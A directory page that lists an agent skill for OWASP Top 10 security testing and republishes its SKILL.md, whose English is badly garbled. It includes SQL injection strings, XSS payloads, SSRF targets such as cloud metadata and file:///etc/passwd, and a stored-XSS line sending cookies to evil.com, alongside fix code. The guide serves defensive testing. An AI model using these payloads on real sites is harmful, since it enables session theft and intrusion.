Agent skill

Owasp Testing Guide

OWASP Top 10 security test methodology, vulnerabilityper attack , detection , modification guide.

Apache-2.0Auto-check passedSecurity

Install Owasp Testing Guide

skills CLI

$ npx skills add revfactory/harness-100 --skill owasp-testing-guide -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI

$ gh skill install revfactory/harness-100 owasp-testing-guide --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy

$ git clone --depth 1 https://github.com/revfactory/harness-100.git skills-src && mkdir -p .claude/skills && cp -r skills-src/en/28-security-audit/.claude/skills/owasp-testing-guide .claude/skills/owasp-testing-guide && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Paste into Claude Code

Install the "owasp-testing-guide" agent skill from https://github.com/revfactory/harness-100/tree/main/en/28-security-audit/.claude/skills/owasp-testing-guide into .claude/skills/owasp-testing-guide/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "owasp-testing-guide", then confirm the skill loads.

Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

$skill-installer

$skill-installer install https://github.com/revfactory/harness-100/tree/main/en/28-security-audit/.claude/skills/owasp-testing-guide

Type this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.

skills CLI

$ npx skills add revfactory/harness-100 --skill owasp-testing-guide -a codex

Project install goes to .agents/skills/; add -g for ~/.codex/skills/.

GitHub CLI

$ gh skill install revfactory/harness-100 owasp-testing-guide --agent codex

Project scope by default (.agents/skills/); add --scope user for a personal install.

Manual copy

$ git clone --depth 1 https://github.com/revfactory/harness-100.git skills-src && mkdir -p .agents/skills && cp -r skills-src/en/28-security-audit/.claude/skills/owasp-testing-guide .agents/skills/owasp-testing-guide && rm -rf skills-src

Use ~/.agents/skills/ instead of .agents/skills for a personal install.

Codex skills documentation · loads skills from .agents/skills/

Paste into Codex

Install the "owasp-testing-guide" agent skill from https://github.com/revfactory/harness-100/tree/main/en/28-security-audit/.claude/skills/owasp-testing-guide into .agents/skills/owasp-testing-guide/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "owasp-testing-guide", then confirm the skill loads.

Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

skills CLI

$ npx skills add revfactory/harness-100 --skill owasp-testing-guide -a cursor

Project install goes to .agents/skills/; add -g for ~/.cursor/skills/.

GitHub CLI

$ gh skill install revfactory/harness-100 owasp-testing-guide --agent cursor

Project scope by default (.agents/skills/); add --scope user for a personal install.

Manual copy

$ git clone --depth 1 https://github.com/revfactory/harness-100.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/en/28-security-audit/.claude/skills/owasp-testing-guide .cursor/skills/owasp-testing-guide && rm -rf skills-src

Use ~/.cursor/skills/ instead of .cursor/skills for a personal install.

Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/

Paste into Cursor

Install the "owasp-testing-guide" agent skill from https://github.com/revfactory/harness-100/tree/main/en/28-security-audit/.claude/skills/owasp-testing-guide into .cursor/skills/owasp-testing-guide/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "owasp-testing-guide", then confirm the skill loads.

Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

gemini skills install

$ gemini skills install https://github.com/revfactory/harness-100.git --path en/28-security-audit/.claude/skills/owasp-testing-guide

--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.

skills CLI

$ npx skills add revfactory/harness-100 --skill owasp-testing-guide -a gemini-cli

Project install goes to .agents/skills/; add -g for ~/.gemini/skills/.

GitHub CLI

$ gh skill install revfactory/harness-100 owasp-testing-guide --agent gemini-cli

Project scope by default (.agents/skills/); add --scope user for a personal install.

Manual copy

$ git clone --depth 1 https://github.com/revfactory/harness-100.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/en/28-security-audit/.claude/skills/owasp-testing-guide .gemini/skills/owasp-testing-guide && rm -rf skills-src

Use ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.

Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/

Paste into Gemini CLI

Install the "owasp-testing-guide" agent skill from https://github.com/revfactory/harness-100/tree/main/en/28-security-audit/.claude/skills/owasp-testing-guide into .gemini/skills/owasp-testing-guide/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "owasp-testing-guide", then confirm the skill loads.

Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

GitHub CLI

$ gh skill install revfactory/harness-100 owasp-testing-guide

Installs for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).

skills CLI

$ npx skills add revfactory/harness-100 --skill owasp-testing-guide -a github-copilot

Project install goes to .agents/skills/; add -g for ~/.copilot/skills/.

Manual copy

$ git clone --depth 1 https://github.com/revfactory/harness-100.git skills-src && mkdir -p .github/skills && cp -r skills-src/en/28-security-audit/.claude/skills/owasp-testing-guide .github/skills/owasp-testing-guide && rm -rf skills-src

Use ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.

GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/

Paste into GitHub Copilot

Install the "owasp-testing-guide" agent skill from https://github.com/revfactory/harness-100/tree/main/en/28-security-audit/.claude/skills/owasp-testing-guide into .github/skills/owasp-testing-guide/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "owasp-testing-guide", then confirm the skill loads.

GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

skills CLI

$ npx skills add revfactory/harness-100 --skill owasp-testing-guide -a opencode

OpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.

GitHub CLI

$ gh skill install revfactory/harness-100 owasp-testing-guide --agent opencode

Project scope by default (.agents/skills/); add --scope user for a personal install.

Manual copy

$ git clone --depth 1 https://github.com/revfactory/harness-100.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/en/28-security-audit/.claude/skills/owasp-testing-guide .opencode/skills/owasp-testing-guide && rm -rf skills-src

Use ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.

OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/

Paste into OpenCode

Install the "owasp-testing-guide" agent skill from https://github.com/revfactory/harness-100/tree/main/en/28-security-audit/.claude/skills/owasp-testing-guide into .opencode/skills/owasp-testing-guide/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "owasp-testing-guide", then confirm the skill loads.

OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.

Facts

Skill name: owasp-testing-guide
GitHub stars: 1.3k
Token cost: ~1.3k tokens
SKILL.md length: 188 words
Files: 1
Skills in repo: 464
Repo updated: Mar 22, 2026
First seen: Oct 7, 2026
Licence: Apache-2.0

At a glance

OWASP Top 10 security test methodology, vulnerabilityper attack , detection , modification guide.

Tasks that involve Web application vulnerabilities
SKILL.md covers OWASP Top 10 (2021) mapping, A01: Broken Access Control, A03: Injection and A07: Authentication Failures, plus 3 more sections
Instructions only: no scripts, shell commands, URLs or credentials in SKILL.md

What it does

Owasp Testing Guide is an agent skill from revfactory/harness-100. OWASP Top 10 security test methodology, vulnerabilityper attack , detection , modification guide. 'OWASP', 'Top 10', 'XSS', 'SQL Injection', 'CSRF', 'SSRF', 'Injection', 'security test methodology', 'vulnerability test' etc. this security test this for. code-analystand pentest-reporterof security analysis -ize. , actual penetration test executionthis network this of scope .

Its SKILL.md is about 1.3k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security, covering Web application vulnerabilities. The licence is Apache-2.0.

When your agent uses it

Tasks that involve Web application vulnerabilities

Example prompts

“Top 10”
“SQL Injection”
“Injection”
“/owasp-testing-guide”

Requirements

Python 3

What it can do on your machine

Read from SKILL.md and the folder at commit 8e8d35c. It shows what the files ask for, not the result of running them.

Tool permissions
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Runs code
No scripts in the folder and no shell commands in SKILL.md (its code samples are python).
From the folder's file list and the shell code blocks in SKILL.md.
Network
No URLs in SKILL.md.
From URLs in SKILL.md, links to its own repository left out.
Credentials
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Owasp Testing Guide loads about 1.3k tokens when it runs. Until then it costs about 101 tokens; SKILL.md has 188 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it: ~101
When it runs · the whole SKILL.md, loaded when a task matches: ~1.3k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from revfactory/harness-100 at commit 8e8d35c, republished under its Apache-2.0 licence (© revfactory). 188 words, ~1,260 tokens.

Download SKILL.mdSave it as .claude/skills/owasp-testing-guide/SKILL.md (or your agent's skills folder).

name: owasp-testing-guide
description: OWASP Top 10 security test methodology, vulnerabilityper attack , detection , modification guide. 'OWASP', 'Top 10', 'XSS', 'SQL Injection', 'CSRF', 'SSRF', 'Injection', 'security test methodology', 'vulnerability test' etc. this security test this for. code-analystand pentest-reporterof security analysis -ize. , actual penetration test executionthis network this of scope .

OWASP Testing Guide — OWASP Top 10 security test guide

OWASP Top 10 (2021) criteria vulnerabilityper detection/test/modification methodology.

OWASP Top 10 (2021) mapping

	category	CWE example	severity
A01	Broken Access Control	CWE-200, CWE-352	Critical
A02	Cryptographic Failures	CWE-259, CWE-327	High
A03	Injection	CWE-79, CWE-89	Critical
A04	Insecure Design	CWE-209, CWE-256	High
A05	Security Misconfiguration	CWE-16, CWE-611	Medium~High
A06	Vulnerable Components	CWE-1035	High
A07	Auth Failures	CWE-287, CWE-384	Critical
A08	Data Integrity Failures	CWE-502	High
A09	Logging Failures	CWE-778	Medium
A10	SSRF	CWE-918	High

A01: Broken Access Control

test

1. IDOR (Insecure Direct Object Reference)
   GET /api/users/123/profile → 200 ()
   GET /api/users/456/profile → 200 () → !

2. permission upper
   day user tokenas administrator API :
   POST /api/admin/users (day token) → 403this 

3. count-based permission this
   user A tokenas user B resource modification:
   PUT /api/orders/B_ORDER_ID (A token) → 403this

modification guide

python

# Before ()
@app.get("/api/users/{user_id}")
def get_user(user_id: int):
    return db.query(User).filter(User.id == user_id).first()

# After (modification)
@app.get("/api/users/{user_id}")
def get_user(user_id: int, current_user: User = Depends(get_current_user)):
    if user_id != current_user.id and not current_user.is_admin:
        raise HTTPException(403)
    return db.query(User).filter(User.id == user_id).first()

A03: Injection

SQL Injection test

 thisas:
├── default: ' OR '1'='1
├── UNION: ' UNION SELECT username,password FROM users --
├── between : ' AND SLEEP(5) --
├── error: ' AND 1=CONVERT(int,(SELECT @@version)) --
└── 2 insert: admin'--  (membersignup  , log  tree)

XSS (Cross-Site Scripting) test

Reflected XSS:
  /search?q=<script>alert(1)</script>
  /search?q=<img src=x onerror=alert(1)>

Stored XSS:
  comment/reviewin <script>document.location='evil.com?c='+document.cookie</script>

DOM-based XSS:
  #<img src=x onerror=alert(1)> (fragment )

modification principle

vulnerability	modification	framework supported
SQL Injection	parameter-ize query	ORM for, raw SQL prohibited
XSS		React JSX automatic thisthis, DOMPurify
Command Injection	-izethislist verification	subprocess shell=False
LDAP Injection	parameter	library within thisthis

A07: Authentication Failures

test item

1. root 
   identical account 10 failure → account lock or count backoff?

2. password policy
   "password" allowed? minimum this? complexalso?

3. session 
   log after thisbefore token valid? (session invalid-ize)
   token only between -based?

4. JWT verification
   alg: none attack allowed?
    key also?
   token thisasin  information?

5. MFA 
   MFA phase cases possible?
   backup code root possible?

A10: SSRF (Server-Side Request Forgery)

test thisas

internal network :
  url=http://169.254.169.254/latest/meta-data/  (AWS data)
  url=http://localhost:6379/  (internal Redis)
  url=http://10.0.0.1/admin  (internal  )

as type:
  url=file:///etc/passwd
  url=gopher://127.0.0.1:25/
  url=dict://127.0.0.1:6379/info

modification

python

# SSRF : URL -izethislist + internal IP 
BLOCKED_RANGES = [
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),
    ipaddress.ip_network("127.0.0.0/8"),
]

def is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ("http", "https"):
        return False
    ip = socket.gethostbyname(parsed.hostname)
    for blocked in BLOCKED_RANGES:
        if ipaddress.ip_address(ip) in blocked:
            return False
    return True

security list

	value	-based
Content-Security-Policy	script-src 'self'	XSS
X-Content-Type-Options	nosniff	MIME
X-Frame-Options	DENY
Strict-Transport-Security	max-age=31536000; includeSubDomains	HTTPS
X-XSS-Protection	0 (CSP for )	XSS filter
Referrer-Policy	strict-origin-when-cross-origin

CVSS severity etc.

etc.	count
Critical	9.0~10.0	24between within
High	7.0~8.9	1week within
Medium	4.0~6.9	1itemsmonth within
Low	0.1~3.9

Files

Just SKILL.md in en/28-security-audit/.claude/skills/owasp-testing-guide of revfactory/harness-100.

Open the folder on GitHubat commit 8e8d35c

Compare with similar skills

Owasp Testing Guide next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Owasp Testing Guide compared with similar skills
Skill	Stars	Used in	Tokens	Auto-check	Licence	Repo updated
Owasp Testing Guide this skillrevfactory/harness-100	1.3k	—	~1.3k	Automated safety check: Pass	Apache-2.0	6 mo ago
Security And Hardeningpenpot/penpot	61k	6 repos	~4.7k	Automated safety check: Notes	MPL-2.0	today
Security Auditoreigent-ai/eigent	15k	—	~1.8k	Automated safety check: Notes	Apache-2.0	today
Security Reviewjewbetcha/opentrace	116	17 repos	~3.1k	Automated safety check: Notes	MIT	4 mo ago
Strix Code Vulnerability Scanusestrix/strix	67k	—	~1.1k	Automated safety check: Pass	Apache-2.0	yesterday
Code Audit3stoneBrother/code-audit	893	1 repos	~2.7k	Automated safety check: Pass	None	7 mo ago

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Questions about Owasp Testing Guide

What does Owasp Testing Guide do?

OWASP Top 10 security test methodology, vulnerabilityper attack , detection , modification guide. Owasp Testing Guide is an agent skill from revfactory/harness-100. OWASP Top 10 security test methodology, vulnerabilityper attack , detection , modification guide.

When should I use Owasp Testing Guide?

Owasp Testing Guide fits situations like: tasks that involve Web application vulnerabilities.

How do I install Owasp Testing Guide in Claude Code?

Run `npx skills add revfactory/harness-100 --skill owasp-testing-guide -a claude-code`. Or copy the skill folder (en/28-security-audit/.claude/skills/owasp-testing-guide in revfactory/harness-100) into .claude/skills/owasp-testing-guide in your project. Claude Code loads it when a task matches its description.

How do I install Owasp Testing Guide in Codex?

Run `npx skills add revfactory/harness-100 --skill owasp-testing-guide -a codex`. Or copy the skill folder (en/28-security-audit/.claude/skills/owasp-testing-guide in revfactory/harness-100) into .agents/skills/owasp-testing-guide in your project. Codex loads it when a task matches its description.

Can I use Owasp Testing Guide in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add revfactory/harness-100 --skill owasp-testing-guide -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/owasp-testing-guide, .gemini/skills/owasp-testing-guide, .github/skills/owasp-testing-guide and .opencode/skills/owasp-testing-guide in your project.

What does Owasp Testing Guide need to run?

SKILL.md names no scripts, command-line tools or credentials: Owasp Testing Guide is instructions for the agent only. Our summary lists: Python 3.

Does Owasp Testing Guide access the network?

SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.

Is Owasp Testing Guide safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Owasp Testing Guide use?

Owasp Testing Guide is published under the Apache-2.0 licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Owasp Testing Guide use?

About 1.3k tokens (SKILL.md is roughly 5k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Owasp Testing Guide?

Skills that share tags, products or a category with Owasp Testing Guide: Security And Hardening (penpot/penpot, 61k stars), Security Auditor (eigent-ai/eigent, 15k stars), Security Review (jewbetcha/opentrace, 116 stars) and Strix Code Vulnerability Scan (usestrix/strix, 67k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Owasp Testing Guide?

revfactory (a GitHub user) maintains it in revfactory/harness-100, which has 1,290 GitHub stars. The repository holds 464 skills in this directory. The repository was last updated on March 22, 2026.

Source: revfactory/harness-100 on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.

Install Owasp Testing Guide

Facts

At a glance

What it does

When your agent uses it

Example prompts

Requirements

What it can do on your machine

Tool permissions

Runs code

Network

Credentials

Context cost

Safety

SKILL.md

OWASP Testing Guide — OWASP Top 10 security test guide

OWASP Top 10 (2021) mapping

A01: Broken Access Control

test

modification guide

A03: Injection

SQL Injection test

XSS (Cross-Site Scripting) test

modification principle

A07: Authentication Failures

test item

A10: SSRF (Server-Side Request Forgery)

test thisas

modification

security list

CVSS severity etc.

Files

Compare with similar skills

Similar skills

More from revfactory/harness-100

Related

Questions about Owasp Testing Guide